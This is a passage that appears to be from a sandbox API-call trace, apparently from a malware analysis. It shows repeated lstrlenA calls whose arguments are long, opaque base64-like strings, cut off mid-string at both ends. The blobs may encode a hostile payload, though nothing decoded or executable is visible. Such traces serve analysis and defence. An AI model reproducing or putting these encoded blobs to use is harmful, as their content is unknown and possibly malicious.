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") returned 5820
	[0084.635] lstrlenA (lpString="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") returned 5820
	[0084.635] lstrlenA (lpString="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